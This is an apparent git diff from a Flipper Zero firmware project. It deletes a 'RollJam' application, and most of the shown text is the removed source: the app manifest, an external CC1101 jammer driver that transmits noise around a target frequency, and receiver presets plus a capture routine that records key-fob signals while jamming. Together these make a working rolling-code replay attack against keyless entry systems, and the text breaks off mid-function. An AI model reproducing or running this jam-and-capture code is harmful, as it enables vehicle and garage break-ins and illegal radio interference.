Updated ProtoPirate, new Zero-Mega version (amazing updates)

applications/main/RollJam/application.fam

@@ -1,23 +0,0 @@
-App(
-    appid="rolljam",
-    name="RollJam",
-    apptype=FlipperAppType.MENUEXTERNAL,
-    entry_point="rolljam_app",
-    stack_size=4 * 1024,
-    fap_category="Sub-GHz",
-    fap_icon="rolljam.png",
-    fap_icon_assets="images",
-    fap_libs=["assets"],
-    fap_description="RollJam rolling code attack tool",
-    fap_author="@user",
-    fap_version="1.0",
-    fap_weburl="",
-    requires=[
-        "gui",
-        "subghz",
-        "notification",
-        "storage",
-        "dialogs",
-    ],
-    provides=[],
-)

applications/main/RollJam/helpers/rolljam_cc1101_ext.c

@@ -1,521 +0,0 @@
-#include "rolljam_cc1101_ext.h"
-#include <furi_hal_gpio.h>
-#include <furi_hal_resources.h>
-#include <furi_hal_cortex.h>
-#include <furi_hal_power.h>
-
-// ============================================================
-// 5V OTG power
-// ============================================================
-
-static bool otg_was_enabled   = false;
-static bool use_flux_capacitor = false;
-
-void rolljam_ext_set_flux_capacitor(bool enabled) {
-    use_flux_capacitor = enabled;
-}
-
-static void rolljam_ext_power_on(void) {
-    otg_was_enabled = furi_hal_power_is_otg_enabled();
-    if(!otg_was_enabled) {
-        uint8_t attempts = 0;
-        while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
-            furi_hal_power_enable_otg();
-            furi_delay_ms(10);
-        }
-    }
-}
-
-static void rolljam_ext_power_off(void) {
-    if(!otg_was_enabled) {
-        furi_hal_power_disable_otg();
-    }
-}
-
-static const GpioPin* pin_mosi = &gpio_ext_pa7;
-static const GpioPin* pin_miso = &gpio_ext_pa6;
-static const GpioPin* pin_cs   = &gpio_ext_pa4;
-static const GpioPin* pin_sck  = &gpio_ext_pb3;
-static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
-static const GpioPin* pin_amp  = &gpio_ext_pc3;
-
-// ============================================================
-// CC1101 Registers
-// ============================================================
-#define CC_IOCFG2    0x00
-#define CC_IOCFG0    0x02
-#define CC_FIFOTHR   0x03
-#define CC_SYNC1     0x04
-#define CC_SYNC0     0x05
-#define CC_PKTLEN    0x06
-#define CC_PKTCTRL1  0x07
-#define CC_PKTCTRL0  0x08
-#define CC_FSCTRL1   0x0B
-#define CC_FSCTRL0   0x0C
-#define CC_FREQ2     0x0D
-#define CC_FREQ1     0x0E
-#define CC_FREQ0     0x0F
-#define CC_MDMCFG4   0x10
-#define CC_MDMCFG3   0x11
-#define CC_MDMCFG2   0x12
-#define CC_MDMCFG1   0x13
-#define CC_MDMCFG0   0x14
-#define CC_DEVIATN   0x15
-#define CC_MCSM1     0x17
-#define CC_MCSM0     0x18
-#define CC_FOCCFG    0x19
-#define CC_AGCCTRL2  0x1B
-#define CC_AGCCTRL1  0x1C
-#define CC_AGCCTRL0  0x1D
-#define CC_FREND0    0x22
-#define CC_FSCAL3    0x23
-#define CC_FSCAL2    0x24
-#define CC_FSCAL1    0x25
-#define CC_FSCAL0    0x26
-#define CC_TEST2     0x2C
-#define CC_TEST1     0x2D
-#define CC_TEST0     0x2E
-#define CC_PATABLE   0x3E
-#define CC_TXFIFO    0x3F
-
-#define CC_PARTNUM   0x30
-#define CC_VERSION   0x31
-#define CC_MARCSTATE 0x35
-#define CC_TXBYTES   0x3A
-
-#define CC_SRES      0x30
-#define CC_SCAL      0x33
-#define CC_STX       0x35
-#define CC_SIDLE     0x36
-#define CC_SFTX      0x3B
-
-#define MARC_IDLE    0x01
-#define MARC_TX      0x13
-
-// ============================================================
-// Band calibration
-// ============================================================
-
-typedef struct {
-    uint32_t min_freq;
-    uint32_t max_freq;
-    uint8_t fscal3;
-    uint8_t fscal2;
-    uint8_t fscal1;
-    uint8_t fscal0;
-} ExtBandCal;
-
-static const ExtBandCal ext_band_cals[] = {
-    { 299000000, 348000000, 0xEA, 0x2A, 0x00, 0x1F },
-    { 386000000, 464000000, 0xE9, 0x2A, 0x00, 0x1F },
-    { 778000000, 928000000, 0xEA, 0x2A, 0x00, 0x11 },
-};
-#define EXT_BAND_CAL_COUNT (sizeof(ext_band_cals) / sizeof(ext_band_cals[0]))
-
-static const ExtBandCal* ext_get_band_cal(uint32_t freq) {
-    for(size_t i = 0; i < EXT_BAND_CAL_COUNT; i++) {
-        if(freq >= ext_band_cals[i].min_freq && freq <= ext_band_cals[i].max_freq)
-            return &ext_band_cals[i];
-    }
-    return &ext_band_cals[1];
-}
-
-static inline void spi_delay(void) {
-    for(int i = 0; i < 16; i++) __NOP();
-}
-
-static inline void cs_lo(void) { furi_hal_gpio_write(pin_cs, false); spi_delay(); }
-static inline void cs_hi(void) { spi_delay(); furi_hal_gpio_write(pin_cs, true); spi_delay(); }
-
-static bool wait_miso(uint32_t us) {
-    CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
-    DWT->CTRL        |= DWT_CTRL_CYCCNTENA_Msk;
-    uint32_t s = DWT->CYCCNT;
-    uint32_t t = (SystemCoreClock / 1000000) * us;
-    while(furi_hal_gpio_read(pin_miso)) {
-        if((DWT->CYCCNT - s) > t) return false;
-    }
-    return true;
-}
-
-static uint8_t spi_byte(uint8_t tx) {
-    uint8_t rx = 0;
-    for(int8_t i = 7; i >= 0; i--) {
-        furi_hal_gpio_write(pin_mosi, (tx >> i) & 0x01);
-        spi_delay();
-        furi_hal_gpio_write(pin_sck, true);
-        spi_delay();
-        if(furi_hal_gpio_read(pin_miso)) rx |= (1 << i);
-        furi_hal_gpio_write(pin_sck, false);
-        spi_delay();
-    }
-    return rx;
-}
-
-static uint8_t cc_strobe(uint8_t cmd) {
-    cs_lo();
-    if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
-    uint8_t s = spi_byte(cmd);
-    cs_hi();
-    return s;
-}
-
-static void cc_write(uint8_t a, uint8_t v) {
-    cs_lo();
-    if(!wait_miso(5000)) { cs_hi(); return; }
-    spi_byte(a); spi_byte(v);
-    cs_hi();
-}
-
-static uint8_t cc_read_status(uint8_t a) {
-    cs_lo();
-    if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
-    spi_byte(a | 0xC0);
-    uint8_t v = spi_byte(0x00);
-    cs_hi();
-    return v;
-}
-
-static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
-    cs_lo();
-    if(!wait_miso(5000)) { cs_hi(); return; }
-    spi_byte(a | 0x40);
-    for(uint8_t i = 0; i < n; i++) spi_byte(d[i]);
-    cs_hi();
-}
-
-static bool cc_reset(void) {
-    cs_hi(); furi_delay_us(30);
-    cs_lo(); furi_delay_us(30);
-    cs_hi(); furi_delay_us(50);
-    cs_lo();
-    if(!wait_miso(10000)) { cs_hi(); return false; }
-    spi_byte(CC_SRES);
-    if(!wait_miso(100000)) { cs_hi(); return false; }
-    cs_hi();
-    furi_delay_ms(5);
-    FURI_LOG_I(TAG, "EXT: Reset OK");
-    return true;
-}
-
-static bool cc_check(void) {
-    uint8_t p = cc_read_status(CC_PARTNUM);
-    uint8_t v = cc_read_status(CC_VERSION);
-    FURI_LOG_I(TAG, "EXT: PART=0x%02X VER=0x%02X", p, v);
-    return (v == 0x14 || v == 0x04 || v == 0x03);
-}
-
-static uint8_t cc_state(void) { return cc_read_status(CC_MARCSTATE) & 0x1F; }
-static uint8_t cc_txbytes(void) { return cc_read_status(CC_TXBYTES) & 0x7F; }
-
-static void cc_idle(void) {
-    cc_strobe(CC_SIDLE);
-    for(int i = 0; i < 500; i++) {
-        if(cc_state() == MARC_IDLE) return;
-        furi_delay_us(50);
-    }
-}
-
-static void cc_set_freq(uint32_t f) {
-    uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
-    cc_write(CC_FREQ2, (r >> 16) & 0xFF);
-    cc_write(CC_FREQ1, (r >>  8) & 0xFF);
-    cc_write(CC_FREQ0,  r        & 0xFF);
-}
-
-static bool cc_configure_jam(uint32_t freq) {
-    const ExtBandCal* cal = ext_get_band_cal(freq);
-    FURI_LOG_I(TAG, "EXT: Config OOK jam at %lu Hz", freq);
-    cc_idle();
-    cc_write(CC_IOCFG0,   0x02);
-    cc_write(CC_IOCFG2,   0x2F);
-    cc_write(CC_PKTCTRL0, 0x00);
-    cc_write(CC_PKTCTRL1, 0x00);
-    cc_write(CC_PKTLEN,   0xFF);
-    cc_write(CC_FIFOTHR,  0x07);
-    cc_write(CC_SYNC1,    0x00);
-    cc_write(CC_SYNC0,    0x00);
-    cc_set_freq(freq);
-    cc_write(CC_FSCTRL1,  0x06);
-    cc_write(CC_FSCTRL0,  0x00);
-    cc_write(CC_MDMCFG4,  0x85);
-    cc_write(CC_MDMCFG3,  0x43);
-    cc_write(CC_MDMCFG2,  0x30);
-    cc_write(CC_MDMCFG1,  0x00);
-    cc_write(CC_MDMCFG0,  0xF8);
-    cc_write(CC_DEVIATN,  0x47);
-    cc_write(CC_MCSM1,    0x00);
-    cc_write(CC_MCSM0,    0x18);
-    cc_write(CC_FREND0,   0x11);
-    uint8_t pa[8] = {0x00,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
-    cc_write_burst(CC_PATABLE, pa, 8);
-    cc_write(CC_FSCAL3,  cal->fscal3);
-    cc_write(CC_FSCAL2,  cal->fscal2);
-    cc_write(CC_FSCAL1,  cal->fscal1);
-    cc_write(CC_FSCAL0,  cal->fscal0);
-    cc_write(CC_TEST2,   0x81);
-    cc_write(CC_TEST1,   0x35);
-    cc_write(CC_TEST0,   0x09);
-    cc_idle();
-    cc_strobe(CC_SCAL);
-    furi_delay_ms(2);
-    cc_idle();
-    uint8_t st = cc_state();
-    FURI_LOG_I(TAG, "EXT: state=0x%02X FSCAL={0x%02X,0x%02X,0x%02X,0x%02X}",
-               st, cal->fscal3, cal->fscal2, cal->fscal1, cal->fscal0);
-    return (st == MARC_IDLE);
-}
-
-static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
-    const ExtBandCal* cal = ext_get_band_cal(freq);
-    FURI_LOG_I(TAG, "EXT: Config FSK jam at %lu Hz (wide=%d)", freq, wide);
-    cc_idle();
-    cc_write(CC_IOCFG0,   0x02);
-    cc_write(CC_IOCFG2,   0x2F);
-    cc_write(CC_PKTCTRL0, 0x00);
-    cc_write(CC_PKTCTRL1, 0x00);
-    cc_write(CC_PKTLEN,   0xFF);
-    cc_write(CC_FIFOTHR,  0x07);
-    cc_write(CC_SYNC1,    0x00);
-    cc_write(CC_SYNC0,    0x00);
-    cc_set_freq(freq);
-    cc_write(CC_FSCTRL1,  0x06);
-    cc_write(CC_FSCTRL0,  0x00);
-    cc_write(CC_MDMCFG4,  0x85);
-    cc_write(CC_MDMCFG3,  0x43);
-    cc_write(CC_MDMCFG2,  0x00);
-    cc_write(CC_MDMCFG1,  0x00);
-    cc_write(CC_MDMCFG0,  0xF8);
-    cc_write(CC_DEVIATN,  wide ? 0x47 : 0x15);
-    cc_write(CC_MCSM1,    0x00);
-    cc_write(CC_MCSM0,    0x18);
-    cc_write(CC_FREND0,   0x10);
-    uint8_t pa[8] = {0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
-    cc_write_burst(CC_PATABLE, pa, 8);
-    cc_write(CC_FSCAL3,  cal->fscal3);
-    cc_write(CC_FSCAL2,  cal->fscal2);
-    cc_write(CC_FSCAL1,  cal->fscal1);
-    cc_write(CC_FSCAL0,  cal->fscal0);
-    cc_write(CC_TEST2,   0x81);
-    cc_write(CC_TEST1,   0x35);
-    cc_write(CC_TEST0,   0x09);
-    cc_idle();
-    cc_strobe(CC_SCAL);
-    furi_delay_ms(2);
-    cc_idle();
-    return (cc_state() == MARC_IDLE);
-}
-
-static void ext_gpio_init_spi_pins(void) {
-    furi_hal_gpio_init(pin_cs,   GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
-    furi_hal_gpio_write(pin_cs, true);
-    furi_hal_gpio_init(pin_sck,  GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
-    furi_hal_gpio_write(pin_sck, false);
-    furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
-    furi_hal_gpio_write(pin_mosi, false);
-    furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
-    furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
-}
-
-static void ext_gpio_deinit_spi_pins(void) {
-    furi_hal_gpio_init(pin_cs,   GpioModeAnalog, GpioPullNo, GpioSpeedLow);
-    furi_hal_gpio_init(pin_sck,  GpioModeAnalog, GpioPullNo, GpioSpeedLow);
-    furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
-    furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
-    furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
-}
-
-void rolljam_ext_gpio_init(void) {
-    FURI_LOG_I(TAG, "EXT GPIO init (deferred to jam thread)");
-    if(use_flux_capacitor) {
-        furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
-        furi_hal_gpio_write(pin_amp, false);
-    }
-}
-
-void rolljam_ext_gpio_deinit(void) {
-    if(use_flux_capacitor) {
-        furi_hal_gpio_write(pin_amp, false);
-        furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
-    }
-
-    FURI_LOG_I(TAG, "EXT GPIO deinit");
-}
-
-// ============================================================
-// Noise pattern & jam helpers
-// ============================================================
-
-static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
-    cc_strobe(CC_SFTX);
-    furi_delay_ms(1);
-    cc_write_burst(CC_TXFIFO, pattern, len);
-    cc_strobe(CC_STX);
-    furi_delay_ms(5);
-}
-
-static int32_t jam_thread_worker(void* context) {
-    RollJamApp* app = context;
-
-    bool is_fsk       = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
-    uint32_t freq_pos = app->frequency + app->jam_offset_hz;
-    uint32_t freq_neg = app->frequency - app->jam_offset_hz;
-
-    FURI_LOG_I(TAG, "JAM thread start: target=%lu offset=%lu FSK=%d",
-               app->frequency, app->jam_offset_hz, is_fsk);
-
-    ext_gpio_init_spi_pins();
-    furi_delay_ms(5);
-
-    if(!cc_reset()) {
-        FURI_LOG_E(TAG, "JAM: Reset failed — CC1101 externo no conectado o mal cableado");
-        ext_gpio_deinit_spi_pins();
-        app->jamming_active = false;
-        return -1;
-    }
-    if(!cc_check()) {
-        FURI_LOG_E(TAG, "JAM: Chip no detectado");
-        ext_gpio_deinit_spi_pins();
-        app->jamming_active = false;
-        return -1;
-    }
-
-    bool jam_ok;
-    if(app->mod_index == ModIndex_FM238)
-        jam_ok = cc_configure_jam_fsk(freq_pos, false);
-    else if(app->mod_index == ModIndex_FM476)
-        jam_ok = cc_configure_jam_fsk(freq_pos, true);
-    else
-        jam_ok = cc_configure_jam(freq_pos);
-
-    if(!jam_ok) {
-        FURI_LOG_E(TAG, "JAM: Config failed");
-        ext_gpio_deinit_spi_pins();
-        app->jamming_active = false;
-        return -1;
-    }
-
-    static const uint8_t noise_pattern[62] = {
-        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
-        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
-        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
-        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
-        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
-        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
-        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
-        0xAA,0x55
-    };
-
-    if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, true);
-    jam_start_tx(noise_pattern, 62);
-
-    uint8_t st = cc_state();
-    if(st != MARC_TX) {
-        cc_idle();
-        jam_start_tx(noise_pattern, 62);
-        st = cc_state();
-        if(st != MARC_TX) {
-            FURI_LOG_E(TAG, "JAM: Cannot enter TX (state=0x%02X)", st);
-            if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
-            ext_gpio_deinit_spi_pins();
-            app->jamming_active = false;
-            return -1;
-        }
-    }
-
-    FURI_LOG_I(TAG, "JAM: *** ACTIVE *** freq_pos=%lu", freq_pos);
-
-    uint32_t loops      = 0;
-    uint32_t underflows = 0;
-    uint32_t refills    = 0;
-    bool on_pos         = true;
-
-    while(app->jam_thread_running) {
-        loops++;
-
-        if(is_fsk && (loops % 4 == 0)) {
-            cc_idle();
-            cc_strobe(CC_SFTX);
-            furi_delay_us(100);
-            on_pos = !on_pos;
-            cc_set_freq(on_pos ? freq_pos : freq_neg);
-            cc_write_burst(CC_TXFIFO, noise_pattern, 62);
-            cc_strobe(CC_STX);
-            furi_delay_ms(1);
-            continue;
-        }
-
-        st = cc_state();
-        if(st != MARC_TX) {
-            underflows++;
-            cc_idle();
-            cc_strobe(CC_SFTX);
-            furi_delay_us(100);
-            cc_write_burst(CC_TXFIFO, noise_pattern, 62);
-            cc_strobe(CC_STX);
-            furi_delay_ms(1);
-            continue;
-        }
-
-        uint8_t txb = cc_txbytes();
-        if(txb < 20) {
-            uint8_t space = 62 - txb;
-            if(space > 50) space = 50;
-            cc_write_burst(CC_TXFIFO, noise_pattern, space);
-            refills++;
-        }
-
-        if(loops % 500 == 0) {
-            FURI_LOG_I(TAG, "JAM: loops=%lu uf=%lu refills=%lu txb=%d",
-                       loops, underflows, refills, cc_txbytes());
-        }
-
-        furi_delay_ms(50);
-    }
-
-    cc_idle();
-    if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
-    cc_write(CC_IOCFG2, 0x2E);
-
-    ext_gpio_deinit_spi_pins();
-
-    FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
-    return 0;
-}
-
-// ============================================================
-// Public API
-// ============================================================
-
-void rolljam_jammer_start(RollJamApp* app) {
-    if(app->jamming_active) return;
-
-    app->jam_frequency     = app->frequency + app->jam_offset_hz;
-    app->jam_thread_running = true;
-    app->jamming_active     = true;
-
-    rolljam_ext_power_on();
-    furi_delay_ms(50);
-
-    rolljam_ext_gpio_init();
-
-    app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
-    furi_thread_start(app->jam_thread);
-
-    FURI_LOG_I(TAG, ">>> JAMMER THREAD STARTED <<<");
-}
-
-void rolljam_jammer_stop(RollJamApp* app) {
-    if(!app->jamming_active) return;
-
-    app->jam_thread_running = false;
-    furi_thread_join(app->jam_thread);
-    furi_thread_free(app->jam_thread);
-    app->jam_thread = NULL;
-
-    rolljam_ext_gpio_deinit();
-    rolljam_ext_power_off();
-    app->jamming_active = false;
-
-    FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
-}

applications/main/RollJam/helpers/rolljam_cc1101_ext.h

@@ -1,23 +0,0 @@
-#pragma once
-
-#include "../rolljam.h"
-
-/*
- * External CC1101 module connected via GPIO (bit-bang SPI).
- * Used EXCLUSIVELY for JAMMING (TX).
- *
- * Wiring (as connected):
- *   CC1101 VCC  -> Flipper Pin 9  (3V3)
- *   CC1101 GND  -> Flipper Pin 11 (GND)
- *   CC1101 MOSI -> Flipper Pin 2  (PA7)
- *   CC1101 MISO -> Flipper Pin 3  (PA6)
- *   CC1101 SCK  -> Flipper Pin 5  (PB3)
- *   CC1101 CS   -> Flipper Pin 4  (PA4)
- *   CC1101 GDO0 -> Flipper Pin 6  (PB2)
- */
-
-void rolljam_ext_gpio_init(void);
-void rolljam_ext_set_flux_capacitor(bool enabled);
-void rolljam_ext_gpio_deinit(void);
-void rolljam_jammer_start(RollJamApp* app);
-void rolljam_jammer_stop(RollJamApp* app);

applications/main/RollJam/helpers/rolljam_receiver.c

@@ -1,689 +0,0 @@
-#include "rolljam_receiver.h"
-#include <furi_hal_subghz.h>
-#include <furi_hal_rtc.h>
-
-#define CC_IOCFG0   0x02
-#define CC_FIFOTHR  0x03
-#define CC_MDMCFG4  0x10
-#define CC_MDMCFG3  0x11
-#define CC_MDMCFG2  0x12
-#define CC_MDMCFG1  0x13
-#define CC_MDMCFG0  0x14
-#define CC_DEVIATN  0x15
-#define CC_MCSM0    0x18
-#define CC_FOCCFG   0x19
-#define CC_AGCCTRL2 0x1B
-#define CC_AGCCTRL1 0x1C
-#define CC_AGCCTRL0 0x1D
-#define CC_FREND0   0x22
-#define CC_FSCAL3   0x23
-#define CC_FSCAL2   0x24
-#define CC_FSCAL1   0x25
-#define CC_FSCAL0   0x26
-
-#define CC_PKTCTRL0  0x08
-#define CC_PKTCTRL1  0x07
-#define CC_FSCTRL1   0x0B
-#define CC_WORCTRL   0x20
-#define CC_FREND1    0x21
-
-// OOK 650kHz
-static const uint8_t preset_ook_650_async[] = {
-    CC_IOCFG0,   0x0D,
-    CC_FIFOTHR,  0x07,
-    CC_PKTCTRL0, 0x32,
-    CC_FSCTRL1,  0x06,
-    CC_MDMCFG0,  0x00,
-    CC_MDMCFG1,  0x00,
-    CC_MDMCFG2,  0x30,
-    CC_MDMCFG3,  0x32,
-    CC_MDMCFG4,  0x17,
-    CC_MCSM0,    0x18,
-    CC_FOCCFG,   0x18,
-    CC_AGCCTRL0, 0x91,
-    CC_AGCCTRL1, 0x00,
-    CC_AGCCTRL2, 0x07,
-    CC_WORCTRL,  0xFB,
-    CC_FREND0,   0x11,
-    CC_FREND1,   0xB6,
-    0x00,        0x00,
-    0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-};
-
-// OOK 270kHz
-static const uint8_t preset_ook_270_async[] = {
-    CC_IOCFG0,   0x0D,
-    CC_FIFOTHR,  0x47,
-    CC_PKTCTRL0, 0x32,
-    CC_FSCTRL1,  0x06,
-    CC_MDMCFG0,  0x00,
-    CC_MDMCFG1,  0x00,
-    CC_MDMCFG2,  0x30,
-    CC_MDMCFG3,  0x32,
-    CC_MDMCFG4,  0x67,
-    CC_MCSM0,    0x18,
-    CC_FOCCFG,   0x18,
-    CC_AGCCTRL0, 0x40,
-    CC_AGCCTRL1, 0x00,
-    CC_AGCCTRL2, 0x03,
-    CC_WORCTRL,  0xFB,
-    CC_FREND0,   0x11,
-    CC_FREND1,   0xB6,
-    0x00,        0x00,
-    0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-};
-
-// 2FSK Dev 2.38kHz
-static const uint8_t preset_2fsk_238_async[] = {
-    CC_IOCFG0,   0x0D,
-    CC_FIFOTHR,  0x47,
-    CC_PKTCTRL0, 0x32,
-    CC_FSCTRL1,  0x06,
-    CC_MDMCFG0,  0x00,
-    CC_MDMCFG1,  0x00,
-    CC_MDMCFG2,  0x00,
-    CC_MDMCFG3,  0x75,
-    CC_MDMCFG4,  0x57,
-    CC_DEVIATN,  0x15,
-    CC_MCSM0,    0x18,
-    CC_FOCCFG,   0x16,
-    CC_AGCCTRL0, 0x91,
-    CC_AGCCTRL1, 0x00,
-    CC_AGCCTRL2, 0x07,
-    CC_WORCTRL,  0xFB,
-    CC_FREND0,   0x10,
-    CC_FREND1,   0xB6,
-    0x00,        0x00,
-    0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-};
-
-// 2FSK Dev 47.6kHz
-static const uint8_t preset_2fsk_476_async[] = {
-    CC_IOCFG0,   0x0D,
-    CC_FIFOTHR,  0x47,
-    CC_PKTCTRL0, 0x32,
-    CC_FSCTRL1,  0x06,
-    CC_MDMCFG0,  0x00,
-    CC_MDMCFG1,  0x00,
-    CC_MDMCFG2,  0x00,
-    CC_MDMCFG3,  0x75,
-    CC_MDMCFG4,  0x57,
-    CC_DEVIATN,  0x47,
-    CC_MCSM0,    0x18,
-    CC_FOCCFG,   0x16,
-    CC_AGCCTRL0, 0x91,
-    CC_AGCCTRL1, 0x00,
-    CC_AGCCTRL2, 0x07,
-    CC_WORCTRL,  0xFB,
-    CC_FREND0,   0x10,
-    CC_FREND1,   0xB6,
-    0x00,        0x00,
-    0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-};
-
-// TX OOK
-static const uint8_t preset_ook_tx[] = {
-    CC_IOCFG0,   0x0D,
-    CC_FIFOTHR,  0x07,
-    CC_PKTCTRL0, 0x32,
-    CC_FSCTRL1,  0x06,
-    CC_MDMCFG0,  0x00,
-    CC_MDMCFG1,  0x00,
-    CC_MDMCFG2,  0x30,
-    CC_MDMCFG3,  0x32,
-    CC_MDMCFG4,  0x17,
-    CC_MCSM0,    0x18,
-    CC_FOCCFG,   0x18,
-    CC_AGCCTRL0, 0x91,
-    CC_AGCCTRL1, 0x00,
-    CC_AGCCTRL2, 0x07,
-    CC_WORCTRL,  0xFB,
-    CC_FREND0,   0x11,
-    CC_FREND1,   0xB6,
-    0x00,        0x00,
-    0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-};
-
-static const uint8_t preset_fsk_tx_238[] = {
-    CC_IOCFG0,   0x0D,
-    CC_FIFOTHR,  0x47,
-    CC_PKTCTRL0, 0x32,
-    CC_FSCTRL1,  0x06,
-    CC_MDMCFG0,  0x00,
-    CC_MDMCFG1,  0x00,
-    CC_MDMCFG2,  0x00,
-    CC_MDMCFG3,  0x75,
-    CC_MDMCFG4,  0x57,
-    CC_DEVIATN,  0x15,
-    CC_MCSM0,    0x18,
-    CC_FOCCFG,   0x16,
-    CC_AGCCTRL0, 0x91,
-    CC_AGCCTRL1, 0x00,
-    CC_AGCCTRL2, 0x07,
-    CC_WORCTRL,  0xFB,
-    CC_FREND0,   0x10,
-    CC_FREND1,   0xB6,
-    0x00,        0x00,
-    0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-};
-
-static const uint8_t preset_fsk_tx_476[] = {
-    CC_IOCFG0,   0x0D,
-    CC_FIFOTHR,  0x47,
-    CC_PKTCTRL0, 0x32,
-    CC_FSCTRL1,  0x06,
-    CC_MDMCFG0,  0x00,
-    CC_MDMCFG1,  0x00,
-    CC_MDMCFG2,  0x00,
-    CC_MDMCFG3,  0x75,
-    CC_MDMCFG4,  0x57,
-    CC_DEVIATN,  0x47,
-    CC_MCSM0,    0x18,
-    CC_FOCCFG,   0x16,
-    CC_AGCCTRL0, 0x91,
-    CC_AGCCTRL1, 0x00,
-    CC_AGCCTRL2, 0x07,
-    CC_WORCTRL,  0xFB,
-    CC_FREND0,   0x10,
-    CC_FREND1,   0xB6,
-    0x00,        0x00,
-    0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-};
-
-// ============================================================
-// Capture state machine
-// ============================================================
-
-#define MIN_PULSE_US           100
-#define MAX_PULSE_US           32767
-#define SILENCE_GAP_US         50000
-#define MIN_FRAME_PULSES       40
-#define AUTO_ACCEPT_PULSES     300
-#define MAX_CONTINUOUS_SAMPLES 800
-
-static bool rolljam_is_jammer_pattern_mod(RawSignal* s, uint8_t mod_index) {
-    if(s->size < 20) return false;
-
-    // Calcular estadísticas una sola vez
-    int16_t max_abs = 0;
-    int64_t sum = 0;
-    for(size_t i = 0; i < s->size; i++) {
-        int16_t v = s->data[i] > 0 ? s->data[i] : -s->data[i];
-        if(v > max_abs) max_abs = v;
-        sum += v;
-    }
-    int32_t mean = (int32_t)(sum / (int64_t)s->size);
-
-    FURI_LOG_D(TAG, "JamCheck: mod=%d max=%d mean=%ld size=%d",
-               mod_index, max_abs, mean, (int)s->size);
-
-    if(mod_index == 2 || mod_index == 3) { // ModIndex_FM238=2, FM476=3
-        if((int)s->size < 120) {
-            FURI_LOG_W(TAG, "Jammer FSK rechazado: size=%d < 120", (int)s->size);
-            return true;
-        }
-        return false;
-    }
-
-    if(max_abs < 25000) {
-        FURI_LOG_W(TAG, "Jammer AM650 rechazado: max=%d < 25000", max_abs);
-        return true;
-    }
-
-    if(mod_index == 1) { // ModIndex_AM270=1
-        if(mean < 3000) {
-            FURI_LOG_W(TAG, "Jammer AM270 rechazado: mean=%ld < 3000 (max=%d)", mean, max_abs);
-            return true;
-        }
-    }
-
-    return false;
-}
-
-
-
-#define MIN_VARIANCE 2000
-
-static bool rolljam_has_sufficient_variance(RawSignal* s) {
-    if(s->size < 20) return false;
-
-    int64_t sum = 0;
-    for(size_t i = 0; i < s->size; i++) {
-        int16_t val = s->data[i];
-        sum += (val > 0) ? val : -val;
-    }
-    int32_t mean = (int32_t)(sum / (int64_t)s->size);
-
-    int64_t var_sum = 0;
-    for(size_t i = 0; i < s->size; i++) {
-        int16_t val = s->data[i];
-        int32_t abs_val = (val > 0) ? val : -val;
-        int32_t diff = abs_val - mean;
-        var_sum += (int64_t)diff * diff;
-    }
-    int32_t variance = (int32_t)(var_sum / (int64_t)s->size);
-
-    bool has_var = (variance > MIN_VARIANCE);
-    FURI_LOG_I(TAG, "Variance: mean=%ld var=%ld %s",
-               mean, variance, has_var ? "PASS" : "FAIL");
-    return has_var;
-}
-
-typedef enum {
-    CapWaiting,
-    CapRecording,
-    CapDone,
-} CapState;
-
-typedef struct {
-    volatile CapState state;
-    volatile int      valid_count;
-    volatile int      total_count;
-    volatile bool     target_first;
-    volatile uint32_t callback_count;
-    volatile uint32_t continuous_count;
-    float             rssi_baseline;
-    uint8_t           mod_index;
-} CapCtx;
-
-static CapCtx g_cap;
-
-static void cap_ctx_reset(CapCtx* c) {
-    c->state            = CapWaiting;
-    c->valid_count      = 0;
-    c->total_count      = 0;
-    c->callback_count   = 0;
-    c->continuous_count = 0;
-}
-
-static void capture_rx_callback(bool level, uint32_t duration, void* context) {
-    RollJamApp* app = context;
-
-    if(!app->raw_capture_active) return;
